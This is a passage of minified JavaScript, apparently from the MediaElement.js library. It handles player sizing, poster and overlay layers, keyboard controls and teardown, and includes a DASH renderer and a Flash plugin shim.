n=this;if(!n.options.setDimensions)return!1;switch(void 0!==e&&(n.width=e),void 0!==t&&(n.height=t),n.options.stretching){case"fill":n.isVideo?n.setFillMode():n.setDimensions(n.width,n.height);break;case"responsive":n.setResponsiveMode();break;case"none":n.setDimensions(n.width,n.height);break;default:!0===n.hasFluidMode()?n.setResponsiveMode():n.setDimensions(n.width,n.height)}}},{key:"hasFluidMode",value:function(){var e=this;return-1!==e.height.toString().indexOf("%")||e.node&&e.node.style.maxWidth&&"none"!==e.node.style.maxWidth&&e.node.style.maxWidth!==e.width||e.node&&e.node.currentStyle&&"100%"===e.node.currentStyle.maxWidth}},{key:"setResponsiveMode",value:function(){var e,o=this,t=function(){for(var t=void 0,n=o.getElement(o.container);n;){try{if(w.IS_FIREFOX&&"html"===n.tagName.toLowerCase()&&S.default.self!==S.default.top&&null!==S.default.frameElement)return S.default.frameElement;t=n.parentElement}catch(e){t=n.parentElement}if(t&&P.visible(t))return t;n=t}return null}(),n=t?getComputedStyle(t,null):getComputedStyle(x.default.body,null),i=o.isVideo?o.node.videoWidth&&0<o.node.videoWidth?o.node.videoWidth:o.node.getAttribute("width")?o.node.getAttribute("width"):o.options.defaultVideoWidth:o.options.defaultAudioWidth,r=o.isVideo?o.node.videoHeight&&0<o.node.videoHeight?o.node.videoHeight:o.node.getAttribute("height")?o.node.getAttribute("height"):o.options.defaultVideoHeight:o.options.defaultAudioHeight,a=(e=1,o.isVideo&&(e=o.node.videoWidth&&0<o.node.videoWidth&&o.node.videoHeight&&0<o.node.videoHeight?o.height>=o.width?o.node.videoWidth/o.node.videoHeight:o.node.videoHeight/o.node.videoWidth:o.initialAspectRatio,(isNaN(e)||e<.01||100<e)&&(e=1)),e),s=parseFloat(n.height),l=void 0,d=parseFloat(n.width);if(l=o.isVideo?"100%"===o.height?parseFloat(d*r/i,10):o.height>=o.width?parseFloat(d/a,10):parseFloat(d*a,10):r,isNaN(l)&&(l=s),0<o.getElement(o.container).parentNode.length&&"body"===o.getElement(o.container).parentNode.tagName.toLowerCase()&&(d=S.default.innerWidth||x.default.documentElement.clientWidth||x.default.body.clientWidth,l=S.default.innerHeight||x.default.documentElement.clientHeight||x.default.body.clientHeight),l&&d){o.getElement(o.container).style.width=d+"px",o.getElement(o.container).style.height=l+"px",o.node.style.width="100%",o.node.style.height="100%",o.isVideo&&o.media.setSize&&o.media.setSize(d,l);for(var u=o.getElement(o.layers).children,c=0,f=u.length;c<f;c++)u[c].style.width="100%",u[c].style.height="100%"}}},{key:"setFillMode",value:function(){var e=this,t=S.default.self!==S.default.top&&null!==S.default.frameElement,n=function(){for(var t=void 0,n=e.getElement(e.container);n;){try{if(w.IS_FIREFOX&&"html"===n.tagName.toLowerCase()&&S.default.self!==S.default.top&&null!==S.default.frameElement)return S.default.frameElement;t=n.parentElement}catch(e){t=n.parentElement}if(t&&P.visible(t))return t;n=t}return null}(),o=n?getComputedStyle(n,null):getComputedStyle(x.default.body,null);"none"!==e.node.style.height&&e.node.style.height!==e.height&&(e.node.style.height="auto"),"none"!==e.node.style.maxWidth&&e.node.style.maxWidth!==e.width&&(e.node.style.maxWidth="none"),"none"!==e.node.style.maxHeight&&e.node.style.maxHeight!==e.height&&(e.node.style.maxHeight="none"),e.node.currentStyle&&("100%"===e.node.currentStyle.height&&(e.node.currentStyle.height="auto"),"100%"===e.node.currentStyle.maxWidth&&(e.node.currentStyle.maxWidth="none"),"100%"===e.node.currentStyle.maxHeight&&(e.node.currentStyle.maxHeight="none")),t||parseFloat(o.width)||(n.style.width=e.media.offsetWidth+"px"),t||parseFloat(o.height)||(n.style.height=e.media.offsetHeight+"px"),o=getComputedStyle(n);var i=parseFloat(o.width),r=parseFloat(o.height);e.setDimensions("100%","100%");var a=e.getElement(e.container).querySelector("."+e.options.classPrefix+"poster>img");a&&(a.style.display="");for(var s=e.getElement(e.container).querySelectorAll("object, embed, iframe, video"),l=e.height,d=e.width,u=i,c=l*i/d,f=d*r/l,p=r,m=i<f==!1,h=m?Math.floor(u):Math.floor(f),v=m?Math.floor(c):Math.floor(p),g=m?i+"px":h+"px",y=m?v+"px":r+"px",E=0,b=s.length;E<b;E++)s[E].style.height=y,s[E].style.width=g,e.media.setSize&&e.media.setSize(g,y),s[E].style.marginLeft=Math.floor((i-h)/2)+"px",s[E].style.marginTop=0}},{key:"setDimensions",value:function(e,t){var n=this;e=(0,m.isString)(e)&&-1<e.indexOf("%")?e:parseFloat(e)+"px",t=(0,m.isString)(t)&&-1<t.indexOf("%")?t:parseFloat(t)+"px",n.getElement(n.container).style.width=e,n.getElement(n.container).style.height=t;for(var o=n.getElement(n.layers).children,i=0,r=o.length;i<r;i++)o[i].style.width=e,o[i].style.height=t}},{key:"setControlsSize",value:function(){var t=this;if(P.visible(t.getElement(t.container)))if(t.rail&&P.visible(t.rail)){for(var e=t.total?getComputedStyle(t.total,null):null,n=e?parseFloat(e.marginLeft)+parseFloat(e.marginRight):0,o=getComputedStyle(t.rail),i=parseFloat(o.marginLeft)+parseFloat(o.marginRight),r=0,a=P.siblings(t.rail,function(e){return e!==t.rail}),s=a.length,l=0;l<s;l++)r+=a[l].offsetWidth;r+=n+(0===n?2*i:i)+1,t.getElement(t.container).style.minWidth=r+"px";var d=(0,m.createEvent)("controlsresize",t.getElement(t.container));t.getElement(t.container).dispatchEvent(d)}else{for(var u=t.getElement(t.controls).children,c=0,f=0,p=u.length;f<p;f++)c+=u[f].offsetWidth;t.getElement(t.container).style.minWidth=c+"px"}}},{key:"addControlElement",value:function(e,t){var n=this;if(void 0!==n.featurePosition[t]){var o=n.getElement(n.controls).children[n.featurePosition[t]-1];o.parentNode.insertBefore(e,o.nextSibling)}else{n.getElement(n.controls).appendChild(e);for(var i=n.getElement(n.controls).children,r=0,a=i.length;r<a;r++)if(e===i[r]){n.featurePosition[t]=r;break}}}},{key:"createIframeLayer",value:function(){var t=this;if(t.isVideo&&null!==t.media.rendererName&&-1<t.media.rendererName.indexOf("iframe")&&!x.default.getElementById(t.media.id+"-iframe-overlay")){var e=x.default.createElement("div"),n=x.default.getElementById(t.media.id+"_"+t.media.rendererName);e.id=t.media.id+"-iframe-overlay",e.className=t.options.classPrefix+"iframe-overlay",e.addEventListener("click",function(e){t.options.clickToPlayPause&&(t.paused?t.play():t.pause(),e.preventDefault(),e.stopPropagation())}),n.parentNode.insertBefore(e,n)}}},{key:"resetSize",value:function(){var e=this;setTimeout(function(){e.setPlayerSize(e.width,e.height),e.setControlsSize()},50)}},{key:"setPoster",value:function(e){var t=this;if(t.getElement(t.container)){var n=t.getElement(t.container).querySelector("."+t.options.classPrefix+"poster");n||((n=x.default.createElement("div")).className=t.options.classPrefix+"poster "+t.options.classPrefix+"layer",t.getElement(t.layers).appendChild(n));var o=n.querySelector("img");!o&&e&&((o=x.default.createElement("img")).className=t.options.classPrefix+"poster-img",o.width="100%",o.height="100%",n.style.display="",n.appendChild(o)),e?(o.setAttribute("src",e),n.style.backgroundImage='url("'+e+'")',n.style.display=""):o?(n.style.backgroundImage="none",n.style.display="none",o.remove()):n.style.display="none"}else(w.IS_IPAD&&t.options.iPadUseNativeControls||w.IS_IPHONE&&t.options.iPhoneUseNativeControls||w.IS_ANDROID&&t.options.AndroidUseNativeControls)&&(t.media.originalNode.poster=e)}},{key:"changeSkin",value:function(e){var t=this;t.getElement(t.container).className=t.options.classPrefix+"container "+e,t.setPlayerSize(t.width,t.height),t.setControlsSize()}},{key:"globalBind",value:function(e,n){var o=this.node?this.node.ownerDocument:x.default;if((e=(0,m.splitEvents)(e,this.id)).d)for(var t=e.d.split(" "),i=0,r=t.length;i<r;i++)t[i].split(".").reduce(function(e,t){return o.addEventListener(t,n,!1),t},"");if(e.w)for(var a=e.w.split(" "),s=0,l=a.length;s<l;s++)a[s].split(".").reduce(function(e,t){return S.default.addEventListener(t,n,!1),t},"")}},{key:"globalUnbind",value:function(e,n){var o=this.node?this.node.ownerDocument:x.default;if((e=(0,m.splitEvents)(e,this.id)).d)for(var t=e.d.split(" "),i=0,r=t.length;i<r;i++)t[i].split(".").reduce(function(e,t){return o.removeEventListener(t,n,!1),t},"");if(e.w)for(var a=e.w.split(" "),s=0,l=a.length;s<l;s++)a[s].split(".").reduce(function(e,t){return S.default.removeEventListener(t,n,!1),t},"")}},{key:"buildfeatures",value:function(e,t,n,o){for(var i=0,r=this.options.features.length;i<r;i++){var a=this.options.features[i];if(this["build"+a])try{this["build"+a](e,t,n,o)}catch(e){console.error("error building "+a,e)}}}},{key:"buildposter",value:function(e,t,n,o){var i=this,r=x.default.createElement("div");r.className=i.options.classPrefix+"poster "+i.options.classPrefix+"layer",n.appendChild(r);var a=o.originalNode.getAttribute("poster");""!==e.options.poster&&(a&&w.IS_IOS&&o.originalNode.removeAttribute("poster"),a=e.options.poster),a?i.setPoster(a):null!==i.media.renderer&&"function"==typeof i.media.renderer.getPosterUrl?i.setPoster(i.media.renderer.getPosterUrl()):r.style.display="none",o.addEventListener("play",function(){r.style.display="none"}),o.addEventListener("playing",function(){r.style.display="none"}),e.options.showPosterWhenEnded&&e.options.autoRewind&&o.addEventListener("ended",function(){r.style.display=""}),o.addEventListener("error",function(){r.style.display="none"}),e.options.showPosterWhenPaused&&o.addEventListener("pause",function(){e.ended||(r.style.display="")})}},{key:"buildoverlays",value:function(t,e,n,o){if(t.isVideo){var i=this,r=x.default.createElement("div"),a=x.default.createElement("div"),s=x.default.createElement("div");r.style.display="none",r.className=i.options.classPrefix+"overlay "+i.options.classPrefix+"layer",r.innerHTML='<div class="'+i.options.classPrefix+'overlay-loading"><span class="'+i.options.classPrefix+'overlay-loading-bg-img"></span></div>',n.appendChild(r),a.style.display="none",a.className=i.options.classPrefix+"overlay "+i.options.classPrefix+"layer",a.innerHTML='<div class="'+i.options.classPrefix+'overlay-error"></div>',n.appendChild(a),s.className=i.options.classPrefix+"overlay "+i.options.classPrefix+"layer "+i.options.classPrefix+"overlay-play",s.innerHTML='<div class="'+i.options.classPrefix+'overlay-button" role="button" tabindex="0" aria-label="'+u.default.t("mejs.play")+'" aria-pressed="false"></div>',s.addEventListener("click",function(){if(i.options.clickToPlayPause){var e=i.getElement(i.container).querySelector("."+i.options.classPrefix+"overlay-button"),t=e.getAttribute("aria-pressed");i.paused?i.play():i.pause(),e.setAttribute("aria-pressed",!!t),i.getElement(i.container).focus()}}),s.addEventListener("keydown",function(e){var t=e.keyCode||e.which||0;if(13===t||w.IS_FIREFOX&&32===t){var n=(0,m.createEvent)("click",s);return s.dispatchEvent(n),!1}}),n.appendChild(s),null!==i.media.rendererName&&(/(youtube|facebook)/i.test(i.media.rendererName)&&!(i.media.originalNode.getAttribute("poster")||t.options.poster||"function"==typeof i.media.renderer.getPosterUrl&&i.media.renderer.getPosterUrl())||w.IS_STOCK_ANDROID||i.media.originalNode.getAttribute("autoplay"))&&(s.style.display="none");var l=!1;o.addEventListener("play",function(){s.style.display="none",r.style.display="none",a.style.display="none",l=!1}),o.addEventListener("playing",function(){s.style.display="none",r.style.display="none",a.style.display="none",l=!1}),o.addEventListener("seeking",function(){s.style.display="none",r.style.display="",l=!1}),o.addEventListener("seeked",function(){s.style.display=i.paused&&!w.IS_STOCK_ANDROID?"":"none",r.style.display="none",l=!1}),o.addEventListener("pause",function(){r.style.display="none",w.IS_STOCK_ANDROID||l||(s.style.display=""),l=!1}),o.addEventListener("waiting",function(){r.style.display="",l=!1}),o.addEventListener("loadeddata",function(){r.style.display="",w.IS_ANDROID&&(o.canplayTimeout=setTimeout(function(){if(x.default.createEvent){var e=x.default.createEvent("HTMLEvents");return e.initEvent("canplay",!0,!0),o.dispatchEvent(e)}},300)),l=!1}),o.addEventListener("canplay",function(){r.style.display="none",clearTimeout(o.canplayTimeout),l=!1}),o.addEventListener("error",function(e){i._handleError(e,i.media,i.node),r.style.display="none",s.style.display="none",l=!0}),o.addEventListener("loadedmetadata",function(){i.controlsEnabled||i.enableControls()}),o.addEventListener("keydown",function(e){i.onkeydown(t,o,e),l=!1})}}},{key:"buildkeyboard",value:function(o,e,t,i){var r=this;r.getElement(r.container).addEventListener("keydown",function(){r.keyboardAction=!0}),r.globalKeydownCallback=function(e){var t=x.default.activeElement.closest("."+r.options.classPrefix+"container"),n=r.media.closest("."+r.options.classPrefix+"container");return r.hasFocus=!(!t||!n||t.id!==n.id),r.onkeydown(o,i,e)},r.globalClickCallback=function(e){r.hasFocus=!!e.target.closest("."+r.options.classPrefix+"container")},r.globalBind("keydown",r.globalKeydownCallback),r.globalBind("click",r.globalClickCallback)}},{key:"onkeydown",value:function(e,t,n){if(e.hasFocus&&e.options.enableKeyboard)for(var o=0,i=e.options.keyActions.length;o<i;o++)for(var r=e.options.keyActions[o],a=0,s=r.keys.length;a<s;a++)if(n.keyCode===r.keys[a])return r.action(e,t,n.keyCode,n),n.preventDefault(),void n.stopPropagation();return!0}},{key:"play",value:function(){this.proxy.play()}},{key:"pause",value:function(){this.proxy.pause()}},{key:"load",value:function(){this.proxy.load()}},{key:"setCurrentTime",value:function(e){this.proxy.setCurrentTime(e)}},{key:"getCurrentTime",value:function(){return this.proxy.currentTime}},{key:"getDuration",value:function(){return this.proxy.duration}},{key:"setVolume",value:function(e){this.proxy.volume=e}},{key:"getVolume",value:function(){return this.proxy.getVolume()}},{key:"setMuted",value:function(e){this.proxy.setMuted(e)}},{key:"setSrc",value:function(e){this.controlsEnabled||this.enableControls(),this.proxy.setSrc(e)}},{key:"getSrc",value:function(){return this.proxy.getSrc()}},{key:"canPlayType",value:function(e){return this.proxy.canPlayType(e)}},{key:"remove",value:function(){var l=this,d=l.media.rendererName,u=l.media.originalNode.src;for(var e in l.options.features){var t=l.options.features[e];if(l["clean"+t])try{l["clean"+t](l,l.getElement(l.layers),l.getElement(l.controls),l.media)}catch(e){console.error("error cleaning "+t,e)}}var n=l.node.getAttribute("width"),o=l.node.getAttribute("height");(n?-1===n.indexOf("%")&&(n+="px"):n="auto",o?-1===o.indexOf("%")&&(o+="px"):o="auto",l.node.style.width=n,l.node.style.height=o,l.setPlayerSize(0,0),l.isDynamic?l.getElement(l.container).parentNode.insertBefore(l.node,l.getElement(l.container)):function(){l.node.setAttribute("controls",!0),l.node.setAttribute("id",l.node.getAttribute("id").replace("_"+d,"").replace("_from_mejs",""));var e=l.getElement(l.container).querySelector("."+l.options.classPrefix+"poster>img");(e&&l.node.setAttribute("poster",e.src),delete l.node.autoplay,l.node.setAttribute("src",""),""!==l.media.canPlayType((0,p.getTypeFromFile)(u))&&l.node.setAttribute("src",u),d&&-1<d.indexOf("iframe"))&&x.default.getElementById(l.media.id+"-iframe-overlay").remove();var i=l.node.cloneNode();if(i.style.display="",l.getElement(l.container).parentNode.insertBefore(i,l.getElement(l.container)),l.node.remove(),l.mediaFiles)for(var t=0,n=l.mediaFiles.length;t<n;t++){var o=x.default.createElement("source");o.setAttribute("src",l.mediaFiles[t].src),o.setAttribute("type",l.mediaFiles[t].type),i.appendChild(o)}if(l.trackFiles)for(var r=function(e,t){var n=l.trackFiles[e],o=x.default.createElement("track");o.kind=n.kind,o.label=n.label,o.srclang=n.srclang,o.src=n.src,i.appendChild(o),o.addEventListener("load",function(){this.mode="showing",i.textTracks[e].mode="showing"})},a=0,s=l.trackFiles.length;a<s;a++)r(a);delete l.node,delete l.mediaFiles,delete l.trackFiles}(),l.media.renderer&&"function"==typeof l.media.renderer.destroy&&l.media.renderer.destroy(),delete f.default.players[l.id],"object"===i(l.getElement(l.container)))&&(l.getElement(l.container).parentNode.querySelector("."+l.options.classPrefix+"offscreen").remove(),l.getElement(l.container).remove());l.globalUnbind("resize",l.globalResizeCallback),l.globalUnbind("keydown",l.globalKeydownCallback),l.globalUnbind("click",l.globalClickCallback),delete l.media.player}},{key:"paused",get:function(){return this.proxy.paused}},{key:"muted",get:function(){return this.proxy.muted},set:function(e){this.setMuted(e)}},{key:"ended",get:function(){return this.proxy.ended}},{key:"readyState",get:function(){return this.proxy.readyState}},{key:"currentTime",set:function(e){this.setCurrentTime(e)},get:function(){return this.getCurrentTime()}},{key:"duration",get:function(){return this.getDuration()}},{key:"volume",set:function(e){this.setVolume(e)},get:function(){return this.getVolume()}},{key:"src",set:function(e){this.setSrc(e)},get:function(){return this.getSrc()}}]),r}();S.default.MediaElementPlayer=l,f.default.MediaElementPlayer=l,n.default=l},{17:17,2:2,25:25,26:26,27:27,28:28,3:3,30:30,5:5,6:6,7:7}],17:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var o,i=function(){function o(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(e,t,n){return t&&o(e.prototype,t),n&&o(e,n),e}}(),r=e(3),a=(o=r)&&o.__esModule?o:{default:o};var s=function(){function e(t){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.media=t.media,this.isVideo=t.isVideo,this.classPrefix=t.options.classPrefix,this.createIframeLayer=function(){return t.createIframeLayer()},this.setPoster=function(e){return t.setPoster(e)},this}return i(e,[{key:"play",value:function(){this.media.play()}},{key:"pause",value:function(){this.media.pause()}},{key:"load",value:function(){this.isLoaded||this.media.load(),this.isLoaded=!0}},{key:"setCurrentTime",value:function(e){this.media.setCurrentTime(e)}},{key:"getCurrentTime",value:function(){return this.media.currentTime}},{key:"getDuration",value:function(){var e=this.media.getDuration();return e===1/0&&this.media.seekable&&this.media.seekable.length&&(e=this.media.seekable.end(0)),e}},{key:"setVolume",value:function(e){this.media.setVolume(e)}},{key:"getVolume",value:function(){return this.media.getVolume()}},{key:"setMuted",value:function(e){this.media.setMuted(e)}},{key:"setSrc",value:function(e){var t=this,n=document.getElementById(t.media.id+"-iframe-overlay");n&&n.remove(),t.media.setSrc(e),t.createIframeLayer(),null!==t.media.renderer&&"function"==typeof t.media.renderer.getPosterUrl&&t.setPoster(t.media.renderer.getPosterUrl())}},{key:"getSrc",value:function(){return this.media.getSrc()}},{key:"canPlayType",value:function(e){return this.media.canPlayType(e)}},{key:"paused",get:function(){return this.media.paused}},{key:"muted",set:function(e){this.setMuted(e)},get:function(){return this.media.muted}},{key:"ended",get:function(){return this.media.ended}},{key:"readyState",get:function(){return this.media.readyState}},{key:"currentTime",set:function(e){this.setCurrentTime(e)},get:function(){return this.getCurrentTime()}},{key:"duration",get:function(){return this.getDuration()}},{key:"remainingTime",get:function(){return this.getDuration()-this.currentTime()}},{key:"volume",set:function(e){this.setVolume(e)},get:function(){return this.getVolume()}},{key:"src",set:function(e){this.setSrc(e)},get:function(){return this.getSrc()}}]),e}();n.default=s,a.default.DefaultPlayer=s},{3:3}],18:[function(e,t,n){"use strict";a(e(3));var o,i=a(e(7)),r=a(e(16));function a(e){return e&&e.__esModule?e:{default:e}}"undefined"!=typeof jQuery?i.default.$=jQuery:"undefined"!=typeof Zepto?i.default.$=Zepto:"undefined"!=typeof ender&&(i.default.$=ender),void 0!==(o=i.default.$)&&(o.fn.mediaelementplayer=function(e){return!1===e?this.each(function(){var e=o(this).data("mediaelementplayer");e&&e.remove(),o(this).removeData("mediaelementplayer")}):this.each(function(){o(this).data("mediaelementplayer",new r.default(this,e))}),this},o(document).ready(function(){o("."+i.default.MepDefaults.classPrefix+"player").mediaelementplayer()}))},{16:16,3:3,7:7}],19:[function(e,t,n){"use strict";var b="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},S=a(e(3)),x=a(e(7)),w=e(8),P=e(27),o=e(28),i=e(25),r=e(26);function a(e){return e&&e.__esModule?e:{default:e}}var T={promise:null,load:function(e){return"undefined"!=typeof dashjs?T.promise=new Promise(function(e){e()}).then(function(){T._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.dashjs.org/latest/dash.all.min.js",T.promise=T.promise||(0,r.loadScript)(e.options.path),T.promise.then(function(){T._createPlayer(e)})),T.promise},_createPlayer:function(e){var t=dashjs.MediaPlayer().create();return S.default["__ready__"+e.id](t),t}},s={name:"native_dash",options:{prefix:"native_dash",dash:{path:"https://cdn.dashjs.org/latest/dash.all.min.js",debug:!1,drm:{},robustnessLevel:""}},canPlayType:function(e){return i.HAS_MSE&&-1<["application/dash+xml"].indexOf(e.toLowerCase())},create:function(s,l,e){var t=s.originalNode,r=s.id+"_"+l.prefix,a=t.autoplay,n=t.children,d=null,u=null;t.removeAttribute("type");for(var o=0,i=n.length;o<i;o++)n[o].removeAttribute("type");d=t.cloneNode(!0),l=Object.assign(l,s.options);for(var c=x.default.html5media.properties,f=x.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),p=function(e){var t=(0,P.createEvent)(e.type,s);s.dispatchEvent(t)},m=function(i){var e=""+i.substring(0,1).toUpperCase()+i.substring(1);d["get"+e]=function(){return null!==u?d[i]:null},d["set"+e]=function(e){if(-1===x.default.html5media.readOnlyProperties.indexOf(i))if("src"===i){var t="object"===(void 0===e?"undefined":b(e))&&e.src?e.src:e;if(d[i]=t,null!==u){u.reset();for(var n=0,o=f.length;n<o;n++)d.removeEventListener(f[n],p);u=T._createPlayer({options:l.dash,id:r}),e&&"object"===(void 0===e?"undefined":b(e))&&"object"===b(e.drm)&&(u.setProtectionData(e.drm),(0,P.isString)(l.dash.robustnessLevel)&&l.dash.robustnessLevel&&u.getProtectionController().setRobustnessLevel(l.dash.robustnessLevel)),u.attachSource(t),a&&u.play()}}else d[i]=e}},h=0,v=c.length;h<v;h++)m(c[h]);if(S.default["__ready__"+r]=function(e){s.dashPlayer=u=e;for(var t,n=dashjs.MediaPlayer.events,o=0,i=f.length;o<i;o++)"loadedmetadata"===(t=f[o])&&(u.initialize(),u.attachView(d),u.setAutoPlay(!1),"object"!==b(l.dash.drm)||x.default.Utils.isObjectEmpty(l.dash.drm)||(u.setProtectionData(l.dash.drm),(0,P.isString)(l.dash.robustnessLevel)&&l.dash.robustnessLevel&&u.getProtectionController().setRobustnessLevel(l.dash.robustnessLevel)),u.attachSource(d.getSrc())),d.addEventListener(t,p);var r=function(e){if("error"===e.type.toLowerCase())s.generateError(e.message,d.src),console.error(e);else{var t=(0,P.createEvent)(e.type,s);t.data=e,s.dispatchEvent(t)}};for(var a in n)n.hasOwnProperty(a)&&u.on(n[a],function(e){return r(e)})},e&&0<e.length)for(var g=0,y=e.length;g<y;g++)if(w.renderer.renderers[l.prefix].canPlayType(e[g].type)){d.setAttribute("src",e[g].src),void 0!==e[g].drm&&(l.dash.drm=e[g].drm);break}d.setAttribute("id",r),t.parentNode.insertBefore(d,t),t.autoplay=!1,t.style.display="none",d.setSize=function(e,t){return d.style.width=e+"px",d.style.height=t+"px",d},d.hide=function(){return d.pause(),d.style.display="none",d},d.show=function(){return d.style.display="",d},d.destroy=function(){null!==u&&u.reset()};var E=(0,P.createEvent)("rendererready",d);return s.dispatchEvent(E),s.promises.push(T.load({options:l.dash,id:r})),d}};o.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".mpd")?"application/dash+xml":null}),w.renderer.add(s)},{25:25,26:26,27:27,28:28,3:3,7:7,8:8}],20:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.PluginDetector=void 0;var d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},C=o(e(3)),k=o(e(2)),_=o(e(7)),N=o(e(5)),A=e(8),L=e(27),F=e(25),j=e(28);function o(e){return e&&e.__esModule?e:{default:e}}var r=n.PluginDetector={plugins:[],hasPluginVersion:function(e,t){var n=r.plugins[e];return t[1]=t[1]||0,t[2]=t[2]||0,n[0]>t[0]||n[0]===t[0]&&n[1]>t[1]||n[0]===t[0]&&n[1]===t[1]&&n[2]>=t[2]},addPlugin:function(e,t,n,o,i){r.plugins[e]=r.detectPlugin(t,n,o,i)},detectPlugin:function(e,t,n,o){var i=[0,0,0],r=void 0,a=void 0;if(null!==F.NAV.plugins&&void 0!==F.NAV.plugins&&"object"===d(F.NAV.plugins[e])){if((r=F.NAV.plugins[e].description)&&(void 0===F.NAV.mimeTypes||!F.NAV.mimeTypes[t]||F.NAV.mimeTypes[t].enabledPlugin))for(var s=0,l=(i=r.replace(e,"").replace(/^\s+/,"").replace(/\sr/gi,".").split(".")).length;s<l;s++)i[s]=parseInt(i[s].match(/\d+/),10)}else if(void 0!==C.default.ActiveXObject)try{(a=new ActiveXObject(n))&&(i=o(a))}catch(e){}return i}};r.addPlugin("flash","Shockwave Flash","application/x-shockwave-flash","ShockwaveFlash.ShockwaveFlash",function(e){var t=[],n=e.GetVariable("$version");return n&&(n=n.split(" ")[1].split(","),t=[parseInt(n[0],10),parseInt(n[1],10),parseInt(n[2],10)]),t});var i={create:function(e,t,n){var r={},o=!1;r.options=t,r.id=e.id+"_"+r.options.prefix,r.mediaElement=e,r.flashState={},r.flashApi=null,r.flashApiStack=[];for(var i=_.default.html5media.properties,a=function(t){r.flashState[t]=null;var e=""+t.substring(0,1).toUpperCase()+t.substring(1);r["get"+e]=function(){if(null!==r.flashApi){if("function"==typeof r.flashApi["get_"+t]){var e=r.flashApi["get_"+t]();return"buffered"===t?{start:function(){return 0},end:function(){return e},length:1}:e}return null}return null},r["set"+e]=function(e){if("src"===t&&(e=(0,j.absolutizeUrl)(e)),null!==r.flashApi&&void 0!==r.flashApi["set_"+t])try{r.flashApi["set_"+t](e)}catch(e){}else r.flashApiStack.push({type:"set",propName:t,value:e})}},s=0,l=i.length;s<l;s++)a(i[s]);var d=_.default.html5media.methods,u=function(e){r[e]=function(){if(o)if(null!==r.flashApi){if(r.flashApi["fire_"+e])try{r.flashApi["fire_"+e]()}catch(e){}}else r.flashApiStack.push({type:"call",methodName:e})}};d.push("stop");for(var c=0,f=d.length;c<f;c++)u(d[c]);for(var p=["rendererready"],m=0,h=p.length;m<h;m++){var v=(0,L.createEvent)(p[m],r);e.dispatchEvent(v)}C.default["__ready__"+r.id]=function(){if(r.flashReady=!0,r.flashApi=k.default.getElementById("__"+r.id),r.flashApiStack.length)for(var e=0,t=r.flashApiStack.length;e<t;e++){var n=r.flashApiStack[e];if("set"===n.type){var o=n.propName,i=""+o.substring(0,1).toUpperCase()+o.substring(1);r["set"+i](n.value)}else"call"===n.type&&r[n.methodName]()}},C.default["__event__"+r.id]=function(e,t){var n=(0,L.createEvent)(e,r);if(t)try{n.data=JSON.parse(t),n.details.data=JSON.parse(t)}catch(e){n.message=t}r.mediaElement.dispatchEvent(n)},r.flashWrapper=k.default.createElement("div"),-1===["always","sameDomain"].indexOf(r.options.shimScriptAccess)&&(r.options.shimScriptAccess="sameDomain");var g=e.originalNode.autoplay,y=["uid="+r.id,"autoplay="+g,"allowScriptAccess="+r.options.shimScriptAccess,"preload="+(e.originalNode.getAttribute("preload")||"")],E=null!==e.originalNode&&"video"===e.originalNode.tagName.toLowerCase(),b=E?e.originalNode.height:1,S=E?e.originalNode.width:1;e.originalNode.getAttribute("src")&&y.push("src="+e.originalNode.getAttribute("src")),!0===r.options.enablePseudoStreaming&&(y.push("pseudostreamstart="+r.options.pseudoStreamingStartQueryParam),y.push("pseudostreamtype="+r.options.pseudoStreamingType)),r.options.streamDelimiter&&y.push("streamdelimiter="+encodeURIComponent(r.options.streamDelimiter)),r.options.proxyType&&y.push("proxytype="+r.options.proxyType),e.appendChild(r.flashWrapper),e.originalNode.style.display="none";var x=[];if(F.IS_IE||F.IS_EDGE){var w=k.default.createElement("div");r.flashWrapper.appendChild(w),x=F.IS_EDGE?['type="application/x-shockwave-flash"','data="'+r.options.pluginPath+r.options.filename+'"','id="__'+r.id+'"','width="'+S+'"','height="'+b+"'\""]:['classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"','codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"','id="__'+r.id+'"','width="'+S+'"','height="'+b+'"'],E||x.push('style="clip: rect(0 0 0 0); position: absolute;"'),w.outerHTML="<object "+x.join(" ")+'><param name="movie" value="'+r.options.pluginPath+r.options.filename+"?x="+new Date+'" /><param name="flashvars" value="'+y.join("&")+'" /><param name="quality" value="high" /><param name="bgcolor" value="#000000" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="'+r.options.shimScriptAccess+'" /><param name="allowFullScreen" value="true" /><div>'+N.default.t("mejs.install-flash")+"</div></object>"}else x=['id="__'+r.id+'"','name="__'+r.id+'"','play="true"','loop="false"','quality="high"','bgcolor="#000000"','wmode="transparent"','allowScriptAccess="'+r.options.shimScriptAccess+'"','allowFullScreen="true"','type="application/x-shockwave-flash"','pluginspage="//www.macromedia.com/go/getflashplayer"','src="'+r.options.pluginPath+r.options.filename+'"','flashvars="'+y.join("&")+'"'],E?(x.push('width="'+S+'"'),x.push('height="'+b+'"')):x.push('style="position: fixed; left: -9999em; top: -9999em;"'),r.flashWrapper.innerHTML="<embed "+x.join(" ")+">";if(r.flashNode=r.flashWrapper.lastChild,r.hide=function(){o=!1,E&&(r.flashNode.style.display="none")},r.show=function(){o=!0,E&&(r.flashNode.style.display="")},r.setSize=function(e,t){r.flashNode.style.width=e+"px",r.flashNode.style.height=t+"px",null!==r.flashApi&&"function"==typeof r.flashApi.fire_setSize&&r.flashApi.fire_setSize(e,t)},r.destroy=function(){r.flashNode.remove()},n&&0<n.length)for(var P=0,T=n.length;P<T;P++)if(A.renderer.renderers[t.prefix].canPlayType(n[P].type)){r.setSrc(n[P].src);break}return 